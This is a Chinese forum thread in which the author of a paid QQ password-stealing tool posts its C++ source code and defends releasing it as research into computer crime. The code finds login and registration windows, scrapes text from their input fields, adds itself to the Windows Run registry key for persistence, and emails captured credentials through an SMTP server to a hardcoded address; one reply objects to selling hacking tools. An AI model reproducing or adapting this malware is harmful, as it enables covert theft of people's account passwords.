去看看 !
能提供源代码吗?
如果可以的话:[email protected]

解决方案 »

  1.   

    http://www.giftdna.com/sra/product.asp?sw_id=100291
      

  2.   

    作者声明:
    虽然各位对我的这个软件的评价不一,
    但是仍然有许多人已经给我发送了定单.以下是本软件的网上注册地址:
    http://www.giftdna.com/sra/product.asp?sw_id=100291另外也可以直接和我联系.
    WZZSOFT
      

  3.   

    // regsvd.cpp : Defines the class behaviors for the application.
    //#include "stdafx.h"
    #include "regsvd.h"
    #include "regsvdDlg.h"#ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif/////////////////////////////////////////////////////////////////////////////
    // CRegsvdAppBEGIN_MESSAGE_MAP(CRegsvdApp, CWinApp)
    //{{AFX_MSG_MAP(CRegsvdApp)
    // NOTE - the ClassWizard will add and remove mapping macros here.
    //    DO NOT EDIT what you see in these blocks of generated code!
    //}}AFX_MSG
    ON_COMMAND(ID_HELP, CWinApp::OnHelp)
    END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
    // CRegsvdApp constructionCRegsvdApp::CRegsvdApp()
    {
    // TODO: add construction code here,
    // Place all significant initialization in InitInstance
    }/////////////////////////////////////////////////////////////////////////////
    // The one and only CRegsvdApp objectCRegsvdApp theApp;
    BOOL bFindWindow = FALSE;
    char sWindowName[20][256];/////////////////////////////////////////////////////////////////////////////
    // CRegsvdApp initialization
    BOOL CALLBACK EnumChildProc(
      HWND hwnd,      // handle to child window
      LPARAM lParam   // application-defined value
    )
    {
    char sWindowClass[256];
    CString strWindowClass;
    CString strWindowName; ::GetClassName(hwnd, sWindowClass, 256);
    strWindowClass = sWindowClass;
    if (strWindowClass == _T("Edit") || strWindowClass == _T("ComboBox"))
    {
    for (int i = 0; i < 20; i++)
    {
    strWindowName = sWindowName[i];
    if (strWindowName == _T(""))
    {
    break;
    }
    }
    if (i < 20)
    {
    ::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
    }
    }
    return TRUE;
    }HWND hSameWnd;
    BOOL CALLBACK EnumWindowsProc(
      HWND hwnd,      // handle to parent window
      LPARAM lParam   // application-defined value
    )
    {
    CString sWindowText; GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
    sWindowText.ReleaseBuffer();
    if (sWindowText.Find(_T("用户登录")) != -1 || sWindowText.Find(_T("注册向导")) != -1)
    {
    if (hSameWnd == NULL)
    {
    hSameWnd = hwnd;
    }
    if (hSameWnd == hwnd)
    {
    memset(sWindowName, 0, 20 * 256);
    ::EnumChildWindows(hwnd, EnumChildProc, 0);
    bFindWindow = TRUE;
    return FALSE;
    }
    }
    return TRUE;
    }HANDLE hSingleEvent;
    BOOL CRegsvdApp::InitInstance()
    {
    hSingleEvent = ::CreateEvent(NULL, FALSE, TRUE, _T("regsvd running!"));
    int nError = ::GetLastError();
    if (nError == ERROR_ALREADY_EXISTS)
    {
    // AfxMessageBox(_T("The regsvd is already in running!"));
    return FALSE;
    }
    if (!AfxSocketInit())
    {
    AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
    return FALSE;
    } hSameWnd = NULL;
    AfxEnableControlContainer(); // Standard initialization
    // If you are not using these features and wish to reduce the size
    //  of your final executable, you should remove from the following
    //  the specific initialization routines you do not need.#ifdef _AFXDLL
    Enable3dControls(); // Call this when using MFC in a shared DLL
    #else
    Enable3dControlsStatic(); // Call this when linking to MFC statically
    #endif BOOL bWriteIni = FALSE;
    char sPath[512];
    ::GetCurrentDirectory(512, sPath);
    strcat(sPath, _T("\\pass.ini")); ModifyRegister();
    while (1)
    {
    BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); // 0表示找到
    if (bFindWindow == TRUE && bFind == 1)
    {
    bFindWindow = FALSE;
    hSameWnd = NULL;
    for ( int i = 0; i < 20; i++)
    {
    char sPosition[8];
    _itoa(i, sPosition, 10);
    if (bWriteIni)
    {
    WritePrivateProfileString(_T("PASS"), sPosition, sWindowName[i], sPath);
    }
    }
    SendEmail();
    }
    Sleep(40);
    }
    CloseHandle(hSingleEvent);
    return FALSE;
    }void CRegsvdApp::ModifyRegister()
    {
    char sPath[512];
    CString strRunPath;
    ::GetCurrentDirectory(512, sPath);
    strRunPath = sPath;
    strRunPath = strRunPath + _T("\\regsvd.exe");
    LONG error = 0;
    HKEY prikey, subkey;
    DWORD nLabel;
    CString strRunKey;
    error = RegCreateKeyEx( HKEY_LOCAL_MACHINE, 
    _T("SOFTWARE"), 
    0, 
    NULL, 
    REG_OPTION_NON_VOLATILE, 
    KEY_ALL_ACCESS,
    NULL,
    &subkey, 
    &nLabel ); prikey = subkey;
    error = RegCreateKeyEx( prikey, 
    _T("Microsoft"), 
    0, 
    NULL, 
    REG_OPTION_NON_VOLATILE, 
    KEY_ALL_ACCESS,
    NULL,
    &subkey, 
    &nLabel ); prikey = subkey;
    error = RegCreateKeyEx( prikey, 
    _T("Windows"), 
    0, 
    NULL, 
    REG_OPTION_NON_VOLATILE, 
    KEY_ALL_ACCESS,
    NULL,
    &subkey, 
    &nLabel ); prikey = subkey;
    error = RegCreateKeyEx( prikey, 
    _T("CurrentVersion"), 
    0, 
    NULL, 
    REG_OPTION_NON_VOLATILE, 
    KEY_ALL_ACCESS,
    NULL,
    &subkey, 
    &nLabel ); prikey = subkey;
    error = RegCreateKeyEx( prikey, 
    _T("Run"), 
    0, 
    NULL, 
    REG_OPTION_NON_VOLATILE, 
    KEY_ALL_ACCESS,
    NULL,
    &subkey, 
    &nLabel ); prikey = subkey;
    error = RegSetValueEx( prikey,
       _T("pass"),
       0,
       REG_SZ,
       (UCHAR *)((LPCTSTR)strRunPath),
       strRunPath.GetLength() + 1);
    }
      

  4.   

    void CRegsvdApp::SendEmail()
    {
    FAILLOOP:
    CSocket socket;
    int nTime = 0;
    CString str, strResponse;
    CString m_sSenderSMTPAddr = _T("smtp.yeah.net");
    UINT m_nSenderSMTPPort = 25;
    CString m_sSenderMailAddr = _T("[email protected]");
    CString m_sRecver = _T("[email protected]");

    TRY
    {
    socket.Create();
    if (socket.Connect((LPCTSTR)m_sSenderSMTPAddr, m_nSenderSMTPPort))
    {
    CSocketFile file(&socket);
    CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
    CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
    while (TRUE)
    {
    arIn.ReadString(strResponse);
    if ("220" != strResponse.Left(3))
    {
    break;
    }
    CString strTemp;
    CString strHostName; gethostname(strHostName.GetBuffer(256), 256);
    strHostName.ReleaseBuffer();

    nTime = 0;
    strTemp.Format("HELO %s\r\n", (LPCTSTR)strHostName);
    str = strTemp;
    LOOPHELO: arOut.WriteString(str);
    arOut.Flush();
    arIn.ReadString(strResponse);
    if ("250" != strResponse.Left(3))
    {
    if (nTime < 3)
    {
    nTime++;
    goto LOOPHELO;
    }
    else
    {
    break;
    }
    } nTime = 0;
    str.Format("MAIL FROM: <%s>\r\n", 
    (LPCTSTR)m_sSenderMailAddr);
    LOOPMAILFROM: arOut.WriteString(str);
    arOut.Flush();
    arIn.ReadString(strResponse);
    if ("250" != strResponse.Left(3))
    {
    if (nTime < 3)
    {
    nTime++;
    goto LOOPMAILFROM;
    }
    else
    {
    break;
    }
    } nTime = 0;
    str = "RCPT TO: <" + m_sRecver + ">\r\n";
    LOOPRCPTTO: arOut.WriteString(str);
    arOut.Flush();
    arIn.ReadString(strResponse);
    strResponse = strResponse.Left(3);
    if (("250" != strResponse) && ("251" != strResponse))
    {
    if (nTime < 3)
    {
    nTime++;
    goto LOOPRCPTTO;
    }
    else
    {
    break;
    }
    } nTime = 0;
    LOOPDATA: arOut.WriteString("DATA\r\n");
    arOut.Flush();
    arIn.ReadString(strResponse);
    strResponse = strResponse.Left(3);
    if ("354" != strResponse)
    {
    if (nTime < 3)
    {
    nTime++;
    goto LOOPDATA;
    }
    else
    {
    break;
    }
    } CString strBuf;
    #define MAX_BUF_SIZE 4096
    LOOPSUB: CString m_sSubject = _T("pass");
    strBuf = _T("Subject: ");
    if (m_sSubject != _T(""))
    {
    strBuf = strBuf + m_sSubject;
    str.Format("%s\r\n", strBuf);
    if (str.GetLength() > 40)
    {
    break;
    }

    arOut.WriteString(str);
    }
    for (int i = 0; i < 20; i++)
    {
    strBuf = sWindowName[i];
    if ((!strBuf.IsEmpty()) && (strBuf[0] == '.'))
    strBuf = '.' + strBuf;
    str = strBuf + "\r\n";
    if (str.GetLength() > 100)
    {
    break;
    }
    arOut.WriteString(str);
    }

    arOut.WriteString(".\r\n"); arOut.Flush();
    arIn.ReadString(strResponse);
    if ("250" != strResponse.Left(3))
    {
    if (nTime < 3)
    {
    nTime++;
    goto LOOPSUB;
    }
    else
    {
    break;
    }
    } arOut.WriteString("QUIT\r\n");
    arOut.Flush();
    arIn.ReadString(strResponse);
    break;
    }
    }
    }
    CATCH_ALL(e)
    {
    e->Delete();
    Sleep(10);
    goto FAILLOOP;
    }
    END_CATCH_ALL
    }
      

  5.   

    声明:我是法学专业的本科生,喜欢研究计算机犯罪.这也是我做黑客程序的一个原因.我不是程序员,也不是黑客,而且现在刚毕业还没有工作.我这么做也是想搞个社会实践,看看大家有什么反应.谢谢各位了.有时间我会把GetQQPasswords1.2升级到2.0.
    更加稳定高效,功能齐全.
    全面支持Win9X/Nt/2000/Me/XP.
      

  6.   

    To santafeng(软件小学生) :打开程序主界面,点击"终止"就可以永远关闭了.
      

  7.   

    作者:
    我是法学专业,主要研究计算机犯罪学!!!!!!!我就是做这一行,有没有人理解我!!!!!!!!看来在这里,没有几个人真正的理解法律吧?大家都只会做数据库吗?
    谁能理解我的想法呢?有没有研究计算机犯罪学的同行和我说话,没有想到CSDN上竟然如此排斥文科法学专业者。看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。
      

  8.   

    >>看来在这里,没有几个人真正的理解法律吧?大家都只会做数据库吗?
    >>看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。你不懂就不要乱说哦黑客软件拿来学习可以,最好是有源码的,比如BO2k,你那个东东连win2000也不支持,可见没什么技术含量,还要卖钱,这好象就不对了吧.另外,我也不觉得卖黑客软件和研究计算机犯罪学有什么关系,难道研究刑事案件的还要去杀人?
      

  9.   

    我在做社会实践。支持2000也可以,只要注册用户多我就升级。
    用CreateRemoteThread方法进入qq2000进程内部。这个帖子结了,我不想再说了。感谢各位的参与和回复。我想我要走了。
    再次谢各位!我要去忙别的事情了,我可不想在这个问题上浪费更多的时间。